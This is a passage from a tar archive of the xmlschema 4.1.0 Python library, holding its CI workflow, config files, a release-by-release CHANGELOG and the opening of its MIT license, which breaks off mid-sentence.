pax_global_header00006660000000000000000000000064150204010550014502gustar00rootroot0000000000000052 comment=563f96ed8173478e55e775f5ad33cafc41e83927 xmlschema-4.1.0/000077500000000000000000000000001502040105500134655ustar00rootroot00000000000000xmlschema-4.1.0/.github/000077500000000000000000000000001502040105500150255ustar00rootroot00000000000000xmlschema-4.1.0/.github/workflows/000077500000000000000000000000001502040105500170625ustar00rootroot00000000000000xmlschema-4.1.0/.github/workflows/test-xmlschema.yml000066400000000000000000000033021502040105500225410ustar00rootroot00000000000000name: xmlschema on: push: branches: [master, develop] pull_request: branches: [master, develop] jobs: build: runs-on: ${{ matrix.os }} strategy: fail-fast: false matrix: os: [ubuntu-latest, macos-latest, windows-latest] python-version: ["3.9", "3.10", "3.11", "3.12", "3.13", "3.14.0-beta.2", "pypy-3.10"] exclude: - os: macos-latest python-version: "3.9" - os: windows-latest python-version: "3.9" steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Install pip and setuptools run: | python -m pip install --upgrade pip pip install setuptools - name: Build and install lxml for Python 3.14-alpha if: ${{ matrix.os == 'ubuntu-latest' && matrix.python-version == '3.14.0-beta.2' }} run: | sudo apt-get install -y libxml2-dev libxslt-dev python3-dev pip install lxml - name: Install lxml for Python < 3.14 if: ${{ matrix.python-version != '3.14.0-beta.2' }} run: pip install lxml - name: Install other optional dependencies run: pip install jinja2 - name: Test with unittest run: | pip install . python -m unittest - name: Lint with flake8 run: | pip install flake8 flake8 xmlschema --max-line-length=100 --statistics - name: Lint with mypy run: | pip install mypy==1.15.0 elementpath==5.0.1 lxml-stubs mypy --show-error-codes --strict xmlschema xmlschema-4.1.0/.gitignore000066400000000000000000000003651502040105500154610ustar00rootroot00000000000000*.pyc *.pyo *~ *.so *.egg-info *.json *.zip .idea/ .mypy_cache/ .tox/ .eggs/ .coverage* !.coveragerc .ipynb_checkpoints/ doc/_*/ dist/ build/ development/ test_cases/ !tests/test_cases/ !tests/test_cases/serialization/*.json out/ profiling/out/ xmlschema-4.1.0/.readthedocs.yml000066400000000000000000000002711502040105500165530ustar00rootroot00000000000000version: 2 build: os: "ubuntu-22.04" tools: python: "3.12" formats: - pdf sphinx: configuration: doc/conf.py python: install: - requirements: doc/requirements.txt xmlschema-4.1.0/CHANGELOG.rst000066400000000000000000000753611502040105500155220ustar00rootroot00000000000000********* CHANGELOG ********* `v4.1.0`_ (2025-06-05) ====================== * Add XPath selectors: ElementSelector and ElementPathSelectors * Add *selector* argument to XMLResource and iterparse filters * Fix element substitution (issue #452) * Restore v3.4.5 builder methods as helpers (issue #451) * Add overall_min_occurs and overall_max_occurs helpers to XsdElement (issue #449) * Extend error message for XML syntax errors (issue #448) * Fix query/fragment like for filenames (issue #447) `v4.0.1`_ (2025-04-12) ====================== * Fix XSD identity update with xsi:type substitution (issue #446) `v4.0.0`_ (2025-04-11) ====================== * Extend support of `lxml.etree` through *iterparse* optional argument * Rework internal decoding/encoding methods, replacing generators with normal functions * Replace kwargs with a validation context (DecodeContext and EncodeContext) * Add SchemaLoader class and variants (related to #419) * Slicing of XsdGlobals with parent maps * Fix `XsdUnion` validation performance issue (related to #442) * Drop support for Python 3.8 `v3.4.5`_ (2025-03-22) ====================== * Fix xs:all groups occurs check (issue #437) `v3.4.4`_ (2025-03-18) ====================== * Migrate project metadata to pyproject.toml (PR #436) * Fix static typing errors with mypy==1.15.0 and elementpath==4.8.0 `v3.4.3`_ (2024-10-31) ====================== * Fix incorrect validation error for substitution group with abstract head (issue #417) * Refactor XSD identities processing using also typed XPath 2.0+ for getting values (issue #418) * Clean tag retrieval during encode for some converter types (Abdera, BadgerFish and GData) `v3.4.2`_ (2024-09-17) ====================== * Fix other failing URL normalization tests * Avoid the use of sys.version_info for checking results, better to extend the check to more values. `v3.4.1`_ (2024-09-12) ====================== * Fix failing URL normalization tests (issue #416) * Disable protocols checking with elementpath v4.5.0 `v3.4.0`_ (2024-09-10) ====================== * Extended ModelVisitor to make it usable as an helper class for generating content (issues #405 and #408) `v3.3.2`_ (2024-07-29) ====================== * Fix UNC path tests (issues #405 and #408) `v3.3.1`_ (2024-04-27) ====================== * Update validation errors with logging stacktrace in debug mode * Improve locations parsing and URL encoding `v3.3.0`_ (2024-04-17) ====================== * Rewrite the validation of openContent using InterleavedModelVisitor and SuffixedModelVisitor * Fix validation of XSD 1.1 'all' nested models `v3.2.1`_ (2024-04-07) ====================== * Improve ModelVisitor and particle occurs checking * Fix interleave mode with XSD 1.1 open content (issue #397) * Fix for export/download of XSD sources with commented-out imports/include (issue #387) `v3.2.0`_ (2024-03-25) ====================== * Add *download_schemas()* to package API (#387) * Fix issue with facets on list types (#396) `v3.1.0`_ (2024-03-13) ====================== * Add GData converter (issue #388/PR #391) * Fix typing protocols usage * Extend XSD annotations parsing (issue #366) `v3.0.2`_ (2024-02-18) ====================== * Use XPath subtree as fragment for xs:assert (issue #386) * Fix in XMLSchemaProxy definition and usage for providing a base-uri to schema nodes (issue #379) * Module xpath.py splitted to a subpackage for including all the custom XPath 1.0/2.0 parsers and related classes to XPath * Add support for Python 3.13 (pre-releases) `v3.0.1`_ (2024-01-09) ====================== * Hotfix release for broken requirement * Set python-requires metadata to >=3.8 (pull request #382) * Upgrade GitHub Actions (pull request #381) `v3.0.0`_ (2024-01-07) ====================== * XML declaration processing option *xmlns_processing* for converters * Decode/validate from XML document with dynamic schema load * XMLResource enhancement for a better XML resources processing * Improve lazy resources iteration removing preceding elements (*thin_mode* option) * Drop support for Python 3.7 `v2.5.1`_ (2023-12-19) ====================== * Fix slowness of key selectors introduced by v2.5.0 (issue #378) * Remove redundant wheel dep from pyproject.toml and unnecessary build deps from tox.ini (PR #368) `v2.5.0`_ (2023-09-21) ====================== * Fix identity keys tracking with additional full XPath checks on XML data * Rewrite schema exports using relative paths `v2.4.0`_ (2023-07-27) ====================== * Improve schema export using XSD source encoding * Add XML signature and encryption to local fallback schemas (issue #357) `v2.3.1`_ (2023-06-14) ====================== * Meta-schema elements and groups ignore xsi:type attributes (issue #350) * Use the meta-schemas only for validating XSD sources otherwise create dummy schemas `v2.3.0`_ (2023-05-18) ====================== * Improve sequence/all restriction checks for XSD 1.1 * Add *schema* argument to `Wsdl11Document` `v2.2.3`_ (2023-04-14) ====================== * Add support for Python 3.12 * Detach content iteration methods from ModelVisitor `v2.2.2`_ (2023-03-05) ====================== * Fix mixed content extension with empty content (issue #337) * Fix lru_cache() usage on global maps caching `v2.2.1`_ (2023-02-11) ====================== * Fix mixed content extension without explicit mixed attribute (issue #334) `v2.2.0`_ (2023-02-06) ====================== * Refine string serialization of XML resources and data elements * Switch to use elementpath v4 * Fix sequence_type property for XSD types * Remove *XsdElement.get_attribute()*: unused and doesn't work as expected `v2.1.1`_ (2022-10-01) ====================== * Fix *schema_path* usage in `XMLSchemaBase.iter_errors()` * Add *allow_empty* option to `XMLSchemaBase` validation API `v2.1.0`_ (2022-09-25) ====================== * Add *to_etree()* to document API * Improve generic encoding with wildcards * Clean document API and schema decoding `v2.0.4`_ (2022-09-08) ====================== * Add *use_location_hints* argument to document API for giving the option of ignoring XSI schema locations hints * Fix import from locations hints with namespace mismatch (issue #324) `v2.0.3`_ (2022-08-25) ====================== * Add *keep_empty* and *element_hook* options to main `iter_decode()` method * Fix default namespace mapping in `BadgerFishConverter` * Fix type restriction check if restricted particle has `maxOccurs==0` (issue #323) `v2.0.2`_ (2022-08-12) ====================== * Fix XSD 1.1 assertions effective scope * Add support for Python 3.11 `v2.0.1`_ (2022-07-21) ====================== * Remove warnings during the build of the package using package_data specs in setup.py * Fix decoding with `process_namespaces=False` and xsi:type in XML instance * Refactor `DataElement.get()`, restore `DataElement.set()` (issue #314) * Add *map_attribute_names* argument to `DataElementConverter` `v2.0.0`_ (2022-07-18) ====================== * Refactor XPath interface for the full XPath node implementation of elementpath v3.0 * Fix BadgerFishConverter with mixed content (issue #315) * Improve `get()` and `set()` of DataElement (issue #314) `v1.11.3`_ (2022-06-24) ======================= * Fix invalid element not detected with empty particle (issue #306) * Fix Sphinx warnings (issue #305) `v1.11.2`_ (2022-06-11) ======================= * Fix 'replace_existing' argument usage in `XsdElement.get_binding` method (issue #300) * Add Russian full translation (from PR #303 and #304) `v1.11.1`_ (2022-05-22) ======================= * Protect converter calls in iter_decode()/iter_encode() * Extend XSD type matching for code generators (fallback to schema types with a local name) `v1.11.0`_ (2022-05-14) ======================= * Add localization for validation related error messages * Add Italian translation * Add Russian partial translation (from PR #293) `v1.10.0`_ (2022-03-07) ======================= * Add 'nonlocal' option to *defuse* argument of `XMLResource` (also for schema classes) * Add 'none' option to *allow* argument of `XMLResource` * Fix too strict parsing on XSD annotations (issue #287) * Drop support for Python 3.6 `v1.9.2`_ (2021-12-23) ====================== * Fix for global simple type naming (issue #278) `v1.9.1`_ (2021-12-08) ====================== * Improve error reporting for encoded data (issue #275) * Fix attribute duplicates in attribute group (issue #276) * Add process_skipped optional argument to decoding/encoding `v1.9.0`_ (2021-11-30) ====================== * Add iter_decode() to document level API * Enhance XMLResource class adding usage of pathlib.Path objects for source and base_url arguments * Fix for issue #273 `v1.8.2`_ (2021-11-11) ====================== * Fix for issues #266 and #268 * Fix type annotation of XMLSchema source argument (issue #230) `v1.8.1`_ (2021-10-20) ====================== * Near compliance with strict type annotations * Removed ModelGroup class, merged with XsdGroup * Some optimizations and fixes from static analysis `v1.8.0`_ (2021-09-27) ====================== * Refactor XMLSchemaMeta deprecating BUILDER attribute * Extend type annotations to package API * Add static typing tests with checked mypy runs `v1.7.1`_ (2021-09-03) ====================== * Activate mypy checks for package * Fix for issues #257 and #259 `v1.7.0`_ (2021-08-02) ====================== * Make XSD annotation parsing lazy * Add lazy annotations to schema instances * Add get_annotation() method to multiple-facets classes (issue #255) `v1.6.4`_ (2021-06-09) ====================== * Add testing config for Python 3.10 (Tox and CI) * Fix internal _PurePath class with Python 3.10 (issue #251) * Remove redundant xmlns="" declaration when encoding with lxml (issue #252) `v1.6.3`_ (2021-06-07) ====================== * Refactor normalize_url() using pathlib.PurePath * Support UNC paths (issue #246) * Fix API docs (issue #248) `v1.6.2`_ (2021-05-03) ====================== * Fix for issue #245 (key/keyref with dynamic types) * Change default decoding of mixed content with only text to a string instead of a dictionary (issue #242) `v1.6.1`_ (2021-04-11) ====================== * Add multi-source initialization and add_schema() to schema class * Add bytes strings to accepted XML sources (issue #238) `v1.6.0`_ (2021-04-06) ====================== * XML data bindings and code generators are now considered stable * Add arguments 'max_depth' and 'extra_validator' to validation methods * Enhance decoding with 'value_hook' argument `v1.5.3`_ (2021-03-14) ====================== * Remove unnecessary bindings with schema proxy from ElementPathMixin to avoid conflicts when schema is used by an XPath 3 parser * Fix schema logger (issue #228) `v1.5.2`_ (2021-03-04) ====================== * Improve empty content checking * Fix simple content restriction of xs:complexType * Fix facets retrieving for xs:complexType with simple content `v1.5.1`_ (2021-02-11) ====================== * Optimize NamespaceView read-only mapping * Add experimental XML data bindings with a DataBindingConverter * Add experimental PythonGenerator for static codegen with Jinja2 `v1.5.0`_ (2021-02-05) ====================== * Add DataElement class for creating objects with schema bindings * Add DataElementConverter for decode to structured objects * Add an experimental abstract base class for building jinja2 based code generators (jinja2 as an optional dependency) `v1.4.2`_ (2021-01-24) ====================== * Add decoding of binary datatypes (xs:hexBinary and xs:base64Binary) * Fix encoding from string values for some builtin datatypes (decimal, binary, duration and datetime) `v1.4.1`_ (2020-12-24) ====================== * Include the pull request #220 (fix xml.etree import) * Additional tests for schema components `v1.4.0`_ (2020-12-23) ====================== * Fix for issues #213, #214, #215 and #218 * Code cleaning and optimizations on schema components * Reducing and grouping helper functions `v1.3.1`_ (2020-11-10) ====================== * Apply patches for packaging (issue #210) `v1.3.0`_ (2020-11-09) ====================== * Drop support for Python 3.5 * Add XmlDocument and Wsdl11Document classes * Refactoring of XMLResource to support ElementTree-like XPath API on both full and lazy modes `v1.2.5`_ (2020-09-26) ====================== * Add schema export API to schema and global maps (issue #187) * Fix decoding with lax/skip validation modes (issue #204) * Add *keep_unknown* optional argument for *iter_decode()* methods `v1.2.4`_ (2020-09-13) ====================== * Use the regex engine of *elementpath* library * Fix and extend tests on xs:assert `v1.2.3`_ (2020-08-14) ====================== * Full coverage of W3C tests (excluding ones for unavailable or unimplemented features) * Update and restrict elementpath dependency to v2.0.x * Fix check and iteration of empty model group * Fix substitution group iteration for local elements `v1.2.2`_ (2020-06-15) ====================== * Fix XPath context for schema nodes * Fix XPath parser and context for identities `v1.2.1`_ (2020-06-12) ====================== * Fix content type classification (issue #195) * Make sandbox mode more explicit (PR #191) * Allow alphanumeric prefixes for the base converter * Fix XPath issues with default namespace * Fix W3C tests on XSD identities `v1.2.0`_ (2020-05-28) ====================== * Add ColumnarConverter class * Add command-line interface utility for document API * Fix a stable public API for XSD types, elements and attributes * Add security modes for accessing URLs `v1.1.3`_ (2020-04-28) ====================== * Clean component parsing * Fix namespace loading for chameleon schemas * Fix UPA checks with nested choice/all models * Fixed issues #182 and #183 `v1.1.2`_ (2020-03-22) ====================== * Extension of validation tests with *XMLSchema11* validator * Fixed several bugs * Extended testing with Travis CI `v1.1.1`_ (2020-02-19) ====================== * Change of *skip* validation mode with errors filtering in decode() or encode() * Extension of location hints by argument to imported/included schemas * Fixed lazy validation with identity constraints * Fixed many W3C instance tests (remain ~100 over 15344 tests) `v1.1.0`_ (2020-01-23) ======================= * Removed Python 2 compatibility code * Removed tests code from binary package * Improved identity constraints validation * Added JSON lazy decoding as experimental feature `v1.0.18`_ (2019-12-24) ======================= * Fix for *ModelVisitor.iter_unordered_content()* * Fixed default converter, AbderaConverter and JsonMLConverter for xs:anyType decode * Fixed validation tests with all converters * Added UnorderedConverter to validation tests `v1.0.17`_ (2019-12-22) ======================= * Enhancement of validation-only speed (~15%) * Added *is_valid()* and *iter_errors()* to module API `v1.0.16`_ (2019-11-18) ======================= * Improved XMLResource class for working with compressed files * Fix for validation with XSD wildcards and 'lax' process content * Fix ambiguous items validation for xs:choice and xs:sequence models `v1.0.15`_ (2019-10-13) ======================= * Improved XPath 2.0 bindings * Added logging for schema initialization and building (handled with argument *loglevel*) * Update encoding of collapsed contents with a new model based reordering method * Removed XLink namespace from meta-schema (loaded from a fallback location like XHTML) * Fixed half of failed W3C instance tests (remain 255 over 15344 tests) `v1.0.14`_ (2019-08-27) ======================= * Added XSD 1.1 validator with class *XMLSchema11* * Memory usage optimization with lazy build of the XSD 1.0 and 1.1 meta-schemas * Added facilities for the encoding of unordered and collapsed content `v1.0.13`_ (2019-06-19) ======================= * Fix path normalization and tests for Windows platform * Added XML resource validation in lazy mode (experimental feature) * Added arguments *filler* and *fill_missing* to XSD decode/encode methods * Added arguments *preserve_root*, *strip_namespaces*, *force_dict* and *force_list* to XMLSchemaConverter * Added code coverage and pep8 testing * Drop support for Python 3.4 `v1.0.11`_ (2019-05-05) ======================= * Added a script for running the W3C XSD test suite. * Check restrictions and model groups UPA violations * Model groups splitted between two modules for more focusing on models basics * Added two new exceptions for model group errors * More control on imported namespaces * Added *use_meta* argument to schema classes * Added *includes* list and *imports* dict to schema classes * Many fixes for passing the W3C's tests for XSD 1.0 schemas * Added a test for issue #105 and a fix for issue #103 `v1.0.10`_ (2019-02-25) ======================= * Fixed Element type mismatch issue when apply *SafeXMLParser* to schema resources * More XSD 1.1 features implemented (open content and versioning namespace are missing) `v1.0.9`_ (2019-02-03) ====================== * Programmatic import of ElementTree for avoid module mismatches * Cleaning and refactoring of test scripts `v1.0.8`_ (2019-01-30) ====================== * Dependency *defusedxml* package replaced by a custom XMLParser for ElementTree * Optional decoding of XSD date/time/duration builtin types * Fixes for issues #93, #96, #97 and #99 `v1.0.7`_ (2018-11-15) ====================== * Fixes for issues #87 and #88 * Merged with PR #89 (simpleType restriction annotation parsing) * XSD 1.1 development: added assertion facet (still to be completed) `v1.0.6`_ (2018-10-21) ====================== * Fixes for issues #85 and #86 * XSD 1.1 development: added explicitTimezone facet and XSD 1.1 builtin types `v1.0.5`_ (2018-09-27) ====================== * Fix for issue #82 and for similar unprotected XSD component lookups * Added checks for namespace mapping of encoded trees and error messages `v1.0.4`_ (2018-09-22) ====================== * Unification of XSD group decode and encode methods * Children validation error class improved * Fixes for issues #77, #79 and #80 * Added test scripts for helpers and ElementTree `v1.0.3`_ (2018-08-26) ====================== * Improved model validation for XSD groups encoding * Added parent reference to XSD components * Extended validator errors classes * Optimized error generation using helper methods * Improved particle parsing `v1.0.2`_ (2018-07-26) ====================== * Improved ElementTree and XPath API `v1.0.1`_ (2018-07-14) ====================== * Validated data encoding to XML * Improved converters with decoding/encoding of namespace information * Added helper functions for encoding and decoding to JSON * Added XMLResource class for managing access to XML data sources * Added warnings for failed schema includes and namespace imports `v0.9.31`_ (2018-06-24) ======================= * Schema serialization with pickle for Python 3 (enhancement related to issue #68) * Data encoding with the default converter * Improved decoding for xs:union `v0.9.30`_ (2018-06-06) ======================= * First experimental version of data encoding with the default converter * Fixes for issues #65, #66 and #67 `v0.9.29`_ (2018-06-03) ======================= * Extended the tests on lxml XML data * Fixes for issues #61, #63 and #64 `v0.9.28`_ (2018-05-18) ======================= * Encoding of XSD builtin types (strings and numerical) * Fix for issue #62 * Drop support for Python 3.3 `v0.9.27`_ (2018-05-08) ======================= * Add support for preventing XML attacks with the use of the *defusedxml* package (added *defuse* argument to schemas) * Fix for group circularity (issue #58) * Fix for billion laughs attacks using XSD groups expansion `v0.9.26`_ (2018-04-12) ======================= * Added checks for model restrictions `v0.9.25`_ (2018-04-05) ======================= * Removed XsdAnnotated class * Added XsdType class as common class for XSD types * Fixes for issues #55 and #56 `v0.9.24`_ (2018-04-03) ======================= * Added XPath 1.0/2.0 full parsing with the derived *elementpath* package * Fixes for issues #52 and #54 * Test package improved (tox.ini, other checks with test_package.py) `v0.9.23`_ (2018-03-10) ======================= * Fixes for issues #45, #46, #51 * Added kwargs to *iter_decode()*, *dict_class* and *list_class* arguments have been removed * Added kwargs to converters initialization in order to push variable keyword arguments from *iter_decode()* `v0.9.21`_ (2018-02-15) ======================= * Fixes 'final' derivation attribute for complexType * Decoupling of the XPath module from XsdComponent API * Fix for issue #41 `v0.9.20`_ (2018-01-22) ======================= * Substitution groups support * Added *fetch_schema_locations* function to API * Added *locations* argument to *fetch_schema*, *validate* and *to_dict* API functions * A more useful __repr__ for XSD component classes * Fixes for issues #35, #38, #39 `v0.9.18`_ (2018-01-12) ======================= * Fixed issue #34 (min_occurs == 0 check in XsdGroup.is_emptiable) * Updated copyright information * Updated schema class creation (now use a metaclass) * Added index and expected attributes to XMLSchemaChildrenValidationError * Added *locations* optional argument to XMLSchema class `v0.9.17`_ (2017-12-28) ======================= * Key/Unique/Keyref constraints partially rewritten * Fixed ad issue with UCS-2/4 and maxunicode `v0.9.16`_ (2017-12-23) ======================= * UnicodeSubset class rewritten (more speed, less memory) * Updated unicode_categories.json to Python 3.6 unicodedata * Added XMLSchemaChildrenValidationError exception `v0.9.15`_ (2017-12-15) ======================= * Some bug fixes * Code cleaning * XSD components modules has been merged with schema's modules into 'validators' subpackage `v0.9.14`_ (2017-11-23) ======================= * Improved test scripts with a *SchemaObserver* class and test line arguments * Full support for date and time XSD builtin types `v0.9.12`_ (2017-09-14) ======================= * Added identity constraints * Some bug fix `v0.9.10`_ (2017-07-08) ======================= * Factories code moved to XsdComponent subclasses for simplify parsing and debugging * All XSD components built from ElementTree elements with a lazy approach * Implementation of the XSD validation modes ('strict'/'lax'/'skip') both for validating schemas and for validating/decoding XML files * Defined an XsdBaseComponent class as the common base class for all XSD components, schemas and global maps * Defined a ValidatorMixin for sharing a common API between validators/decoders classes * Added built and validity checks for all XSD components `v0.9.9`_ (2017-06-12) ====================== * Added converters for decode/encode data with different conventions * Modifications on iter_decode() arguments in order to use converters `v0.9.8`_ (2017-05-27) ====================== * Added notations and substitution groups * Created a subpackage for XSD components `v0.9.7`_ (2017-05-21) ====================== * Documentation extended and tested * Improved tests for XPath, validation and decoding v0.9.6 (2017-05-05) =================== * Added an XPath parser * Added iterfind(), find() and findall() APIs for searching XSD element declarations using XPath .. _v0.9.7: https://github.com/brunato/xmlschema/compare/v0.9.6...v0.9.7 .. _v0.9.8: https://github.com/brunato/xmlschema/compare/v0.9.7...v0.9.8 .. _v0.9.9: https://github.com/brunato/xmlschema/compare/v0.9.8...v0.9.9 .. _v0.9.10: https://github.com/brunato/xmlschema/compare/v0.9.9...v0.9.10 .. _v0.9.12: https://github.com/brunato/xmlschema/compare/v0.9.10...v0.9.12 .. _v0.9.14: https://github.com/brunato/xmlschema/compare/v0.9.12...v0.9.14 .. _v0.9.15: https://github.com/brunato/xmlschema/compare/v0.9.14...v0.9.15 .. _v0.9.16: https://github.com/brunato/xmlschema/compare/v0.9.15...v0.9.16 .. _v0.9.17: https://github.com/brunato/xmlschema/compare/v0.9.16...v0.9.17 .. _v0.9.18: https://github.com/brunato/xmlschema/compare/v0.9.17...v0.9.18 .. _v0.9.20: https://github.com/brunato/xmlschema/compare/v0.9.18...v0.9.20 .. _v0.9.21: https://github.com/brunato/xmlschema/compare/v0.9.20...v0.9.21 .. _v0.9.23: https://github.com/brunato/xmlschema/compare/v0.9.21...v0.9.23 .. _v0.9.24: https://github.com/brunato/xmlschema/compare/v0.9.23...v0.9.24 .. _v0.9.25: https://github.com/brunato/xmlschema/compare/v0.9.24...v0.9.25 .. _v0.9.26: https://github.com/brunato/xmlschema/compare/v0.9.25...v0.9.26 .. _v0.9.27: https://github.com/brunato/xmlschema/compare/v0.9.26...v0.9.27 .. _v0.9.28: https://github.com/brunato/xmlschema/compare/v0.9.27...v0.9.28 .. _v0.9.29: https://github.com/brunato/xmlschema/compare/v0.9.28...v0.9.29 .. _v0.9.30: https://github.com/brunato/xmlschema/compare/v0.9.29...v0.9.30 .. _v0.9.31: https://github.com/brunato/xmlschema/compare/v0.9.30...v0.9.31 .. _v1.0.1: https://github.com/brunato/xmlschema/compare/v0.9.31...v1.0.1 .. _v1.0.2: https://github.com/brunato/xmlschema/compare/v1.0.1...v1.0.2 .. _v1.0.3: https://github.com/brunato/xmlschema/compare/v1.0.2...v1.0.3 .. _v1.0.4: https://github.com/brunato/xmlschema/compare/v1.0.3...v1.0.4 .. _v1.0.5: https://github.com/brunato/xmlschema/compare/v1.0.4...v1.0.5 .. _v1.0.6: https://github.com/brunato/xmlschema/compare/v1.0.5...v1.0.6 .. _v1.0.7: https://github.com/brunato/xmlschema/compare/v1.0.6...v1.0.7 .. _v1.0.8: https://github.com/brunato/xmlschema/compare/v1.0.7...v1.0.8 .. _v1.0.9: https://github.com/brunato/xmlschema/compare/v1.0.8...v1.0.9 .. _v1.0.10: https://github.com/brunato/xmlschema/compare/v1.0.9...v1.0.10 .. _v1.0.11: https://github.com/brunato/xmlschema/compare/v1.0.10...v1.0.11 .. _v1.0.13: https://github.com/brunato/xmlschema/compare/v1.0.11...v1.0.13 .. _v1.0.14: https://github.com/brunato/xmlschema/compare/v1.0.13...v1.0.14 .. _v1.0.15: https://github.com/brunato/xmlschema/compare/v1.0.14...v1.0.15 .. _v1.0.16: https://github.com/brunato/xmlschema/compare/v1.0.15...v1.0.16 .. _v1.0.17: https://github.com/brunato/xmlschema/compare/v1.0.16...v1.0.17 .. _v1.0.18: https://github.com/brunato/xmlschema/compare/v1.0.17...v1.0.18 .. _v1.1.0: https://github.com/brunato/xmlschema/compare/v1.0.18...v1.1.0 .. _v1.1.1: https://github.com/brunato/xmlschema/compare/v1.1.0...v1.1.1 .. _v1.1.2: https://github.com/brunato/xmlschema/compare/v1.1.1...v1.1.2 .. _v1.1.3: https://github.com/brunato/xmlschema/compare/v1.1.2...v1.1.3 .. _v1.2.0: https://github.com/brunato/xmlschema/compare/v1.1.3...v1.2.0 .. _v1.2.1: https://github.com/brunato/xmlschema/compare/v1.2.0...v1.2.1 .. _v1.2.2: https://github.com/brunato/xmlschema/compare/v1.2.1...v1.2.2 .. _v1.2.3: https://github.com/brunato/xmlschema/compare/v1.2.2...v1.2.3 .. _v1.2.4: https://github.com/brunato/xmlschema/compare/v1.2.3...v1.2.4 .. _v1.2.5: https://github.com/brunato/xmlschema/compare/v1.2.4...v1.2.5 .. _v1.3.0: https://github.com/brunato/xmlschema/compare/v1.2.5...v1.3.0 .. _v1.3.1: https://github.com/brunato/xmlschema/compare/v1.3.0...v1.3.1 .. _v1.4.0: https://github.com/brunato/xmlschema/compare/v1.3.1...v1.4.0 .. _v1.4.1: https://github.com/brunato/xmlschema/compare/v1.4.0...v1.4.1 .. _v1.4.2: https://github.com/brunato/xmlschema/compare/v1.4.1...v1.4.2 .. _v1.5.0: https://github.com/brunato/xmlschema/compare/v1.4.2...v1.5.0 .. _v1.5.1: https://github.com/brunato/xmlschema/compare/v1.5.0...v1.5.1 .. _v1.5.2: https://github.com/brunato/xmlschema/compare/v1.5.1...v1.5.2 .. _v1.5.3: https://github.com/brunato/xmlschema/compare/v1.5.2...v1.5.3 .. _v1.6.0: https://github.com/brunato/xmlschema/compare/v1.5.3...v1.6.0 .. _v1.6.1: https://github.com/brunato/xmlschema/compare/v1.6.0...v1.6.1 .. _v1.6.2: https://github.com/brunato/xmlschema/compare/v1.6.1...v1.6.2 .. _v1.6.3: https://github.com/brunato/xmlschema/compare/v1.6.2...v1.6.3 .. _v1.6.4: https://github.com/brunato/xmlschema/compare/v1.6.3...v1.6.4 .. _v1.7.0: https://github.com/brunato/xmlschema/compare/v1.6.4...v1.7.0 .. _v1.7.1: https://github.com/brunato/xmlschema/compare/v1.7.0...v1.7.1 .. _v1.8.0: https://github.com/brunato/xmlschema/compare/v1.7.1...v1.8.0 .. _v1.8.1: https://github.com/brunato/xmlschema/compare/v1.8.0...v1.8.1 .. _v1.8.2: https://github.com/brunato/xmlschema/compare/v1.8.1...v1.8.2 .. _v1.9.0: https://github.com/brunato/xmlschema/compare/v1.8.2...v1.9.0 .. _v1.9.1: https://github.com/brunato/xmlschema/compare/v1.9.0...v1.9.1 .. _v1.9.2: https://github.com/brunato/xmlschema/compare/v1.9.1...v1.9.2 .. _v1.10.0: https://github.com/brunato/xmlschema/compare/v1.9.2...v1.10.0 .. _v1.11.0: https://github.com/brunato/xmlschema/compare/v1.10.0...v1.11.0 .. _v1.11.1: https://github.com/brunato/xmlschema/compare/v1.11.0...v1.11.1 .. _v1.11.2: https://github.com/brunato/xmlschema/compare/v1.11.1...v1.11.2 .. _v1.11.3: https://github.com/brunato/xmlschema/compare/v1.11.2...v1.11.3 .. _v2.0.0: https://github.com/brunato/xmlschema/compare/v1.11.3...v2.0.0 .. _v2.0.1: https://github.com/brunato/xmlschema/compare/v2.0.0...v2.0.1 .. _v2.0.2: https://github.com/brunato/xmlschema/compare/v2.0.1...v2.0.2 .. _v2.0.3: https://github.com/brunato/xmlschema/compare/v2.0.2...v2.0.3 .. _v2.0.4: https://github.com/brunato/xmlschema/compare/v2.0.3...v2.0.4 .. _v2.1.0: https://github.com/brunato/xmlschema/compare/v2.0.4...v2.1.0 .. _v2.1.1: https://github.com/brunato/xmlschema/compare/v2.1.0...v2.1.1 .. _v2.2.0: https://github.com/brunato/xmlschema/compare/v2.1.1...v2.2.0 .. _v2.2.1: https://github.com/brunato/xmlschema/compare/v2.2.0...v2.2.1 .. _v2.2.2: https://github.com/brunato/xmlschema/compare/v2.2.1...v2.2.2 .. _v2.2.3: https://github.com/brunato/xmlschema/compare/v2.2.2...v2.2.3 .. _v2.3.0: https://github.com/brunato/xmlschema/compare/v2.2.3...v2.3.0 .. _v2.3.1: https://github.com/brunato/xmlschema/compare/v2.3.0...v2.3.1 .. _v2.4.0: https://github.com/brunato/xmlschema/compare/v2.3.1...v2.4.0 .. _v2.5.0: https://github.com/brunato/xmlschema/compare/v2.4.0...v2.5.0 .. _v2.5.1: https://github.com/brunato/xmlschema/compare/v2.5.0...v2.5.1 .. _v3.0.0: https://github.com/brunato/xmlschema/compare/v2.5.1...v3.0.0 .. _v3.0.1: https://github.com/brunato/xmlschema/compare/v3.0.0...v3.0.1 .. _v3.0.2: https://github.com/brunato/xmlschema/compare/v3.0.1...v3.0.2 .. _v3.1.0: https://github.com/brunato/xmlschema/compare/v3.0.2...v3.1.0 .. _v3.2.0: https://github.com/brunato/xmlschema/compare/v3.1.0...v3.2.0 .. _v3.2.1: https://github.com/brunato/xmlschema/compare/v3.2.0...v3.2.1 .. _v3.3.0: https://github.com/brunato/xmlschema/compare/v3.2.1...v3.3.0 .. _v3.3.1: https://github.com/brunato/xmlschema/compare/v3.3.0...v3.3.1 .. _v3.3.2: https://github.com/brunato/xmlschema/compare/v3.3.1...v3.3.2 .. _v3.4.0: https://github.com/brunato/xmlschema/compare/v3.3.2...v3.4.0 .. _v3.4.1: https://github.com/brunato/xmlschema/compare/v3.4.0...v3.4.1 .. _v3.4.2: https://github.com/brunato/xmlschema/compare/v3.4.1...v3.4.2 .. _v3.4.3: https://github.com/brunato/xmlschema/compare/v3.4.2...v3.4.3 .. _v3.4.4: https://github.com/brunato/xmlschema/compare/v3.4.3...v3.4.4 .. _v3.4.5: https://github.com/brunato/xmlschema/compare/v3.4.4...v3.4.5 .. _v4.0.0: https://github.com/brunato/xmlschema/compare/v3.4.5...v4.0.0 .. _v4.0.1: https://github.com/brunato/xmlschema/compare/v4.0.0...v4.0.1 .. _v4.1.0: https://github.com/brunato/xmlschema/compare/v4.0.1...v4.1.0 xmlschema-4.1.0/LICENSE000066400000000000000000000021531502040105500144730ustar00rootroot00000000000000The MIT License (MIT) Copyright (c), 2016-2024, SISSA (Scuola Internazionale Superiore di Studi Avanzati) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the 